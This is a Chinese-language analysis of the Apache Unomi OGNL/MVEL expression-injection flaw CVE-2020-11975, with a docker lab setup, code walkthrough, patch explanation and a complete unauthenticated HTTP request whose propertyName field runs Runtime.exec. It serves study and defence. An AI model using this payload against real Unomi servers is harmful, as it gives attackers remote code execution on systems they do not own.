Apache Unomi 远程表达式代码执行漏洞(CVE-2020-11975)
0x01 漏洞简介
Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。
Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。远程攻击者发送带有了OGNL表达式的请求,可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
0x02 影响版本
Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。
0x03 环境搭建
使用下面代码生成一个docker-compose.yml文件
使用docker-compose up -d
运行文件
version: '2.2'
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:5.6.3
volumes: # Persist ES data in seperate "esdata" volume
- esdata1:/usr/share/elasticsearch/data
environment:
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- discovery.type=single-node
- xpack.security.enabled=false
- cluster.name=contextElasticSearch
ports: # Expose Elasticsearch ports
- "9300:9300"
- "9200:9200"
unomi:
image: mikeghen/unomi
container_name: unomi
environment:
- ELASTICSEARCH_HOST=elasticsearch
- ELASTICSEARCH_PORT=9300
ports:
- 8181:8181
- 9443:9443
links:
- elasticsearch
volumes: # Define seperate volume for Elasticsearch data
esdata1:
driver: local
0x04 漏洞分析
Unomi提供了一个受限的API(应该是指需要授权才能访问),可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、“取回”(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。
Unomi conditions(条件)依赖于"表达式语言"(expression languages,EL),如OGNL或MVEL,以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前,基于EL的conditions被计算/执行。
CVE-2020-11975漏洞原理:
在1.5.1之前的版本中,这些"表达式语言"(expression languages)完全不受限制,所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。
修复CVE-2020-11975之前的代码:
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ExpressionAccessor accessor = getPropertyAccessor(item, expression);
return accessor != null ? accessor.get(getOgnlContext(), item) : null;
}
...
解释一下上面的代码:
PropertyConditionEvaluator
类负责conditions(条件)内的OGNL表达式的计算/执行。
当Unomi收到了类似于例1的JSON数据时,Unomi如何处理?
例1 JSON数据
{
"condition":{
"parameterValues":{
"propertyName":"Wubba Lubba",
"comparisonOperator":"equals",
"propertyValue":"Dub Dub"
}
}
}
- Unomi处理流程
- 首先,Unomi尝试根据用户输入的"属性名称"(property name),查找"硬编码的属性"(hardcoded properties)。
- 如果找不到,则调用
getOGNLPropertyValue
方法,该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。
在计算/执行OGNL表达式时, ExpressionAccessor
使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
例如,“属性名称”(property name)设置为这个OGNL表达式:
(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"touch /tmp/success\"))
0x05 漏洞复现
POST /context.json HTTP/1.1
Host: 192.168.237.129:8181
Connection: close
Content-Length: 705
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"touch /tmp/success\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
测试成功。
漏洞CVE-2020-11975 的修复代码
变更1 OGNL处理过程增加了SecureFilteringClassLoader
文件路径: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java
主要看PropertyConditionEvaluator
类 的 getOGNLPropertyValue()
方法。
将SecureFilteringClassLoader
添加到getOGNLPropertyValue()
方法中的OgnlContext
中,以防止计算/执行任意OGNL表达式。
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
return accessor != null ? accessor.get(ognlContext, item) : null;
}
...
变更2 MVEL处理过程增加了SecureFilteringClassLoader
计算/执行MVEL表达式的代码,也使用了SecureFilteringClassLoader。
//1.5.1
public class ConditionContextHelper {
...
private static Object executeScript(Map<String, Object> context, String script) {
final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
try {
if (!mvelExpressions.containsKey(script)) {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(secureFilteringClassLoader);
mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
...
变更3 SecureFilteringClassLoader
类的具体实现
这个patch,引入了"安全过滤的ClassLoader" SecureFilteringClassLoader
。
具体实现,可搜索SecureFilteringClassLoader.java
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
return delegate.loadClass(name);
}
看代码可知,SecureFilteringClassLoader
类,这样来限制MVEL和OGNL的能力:
SecureFilteringClassLoader
类是重写了ClassLoader
类的loadClass()
方法,在"预定义的集合"(predefined set)中明确限制了"可访问的类"(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类。
漏洞CVE-2020-11975 修复效果
看看修复CVE-2020-11975之后的效果,如果攻击者尝试攻击是什么情况。
(1)SecureFilteringClassLoader
类 到底如何实现限制OGNL的能力?
攻击者通常使用@
符号,来利用OGNL实现RCE:
修复CVE-2020-11975之后,使用@
符号来静态地访问"对象类"(object classes)时,OGNL会调用loadClass()
如果unomi版本>=1.5.1,当加载Runtime类时,此表达式无法通过SecureFilteringClassLoader
类所执行的检查,也就是说不会成功加载Runtime
类。
(2)SecureFilteringClassLoader
类 到底如何实现限制MVEL的能力?
对于MVEL表达式来说,当使用new
语句创建新对象时,也会调用ClassLoader
或SecureFilteringClassLoader
的loadClass()
方法(到底哪个类得看版本了),因此,这次patch代码变更后,使用MVEL表达式也只能"创建"出 来自于(allowlist)“受限类”(restricted set of classes)的集合里的实例。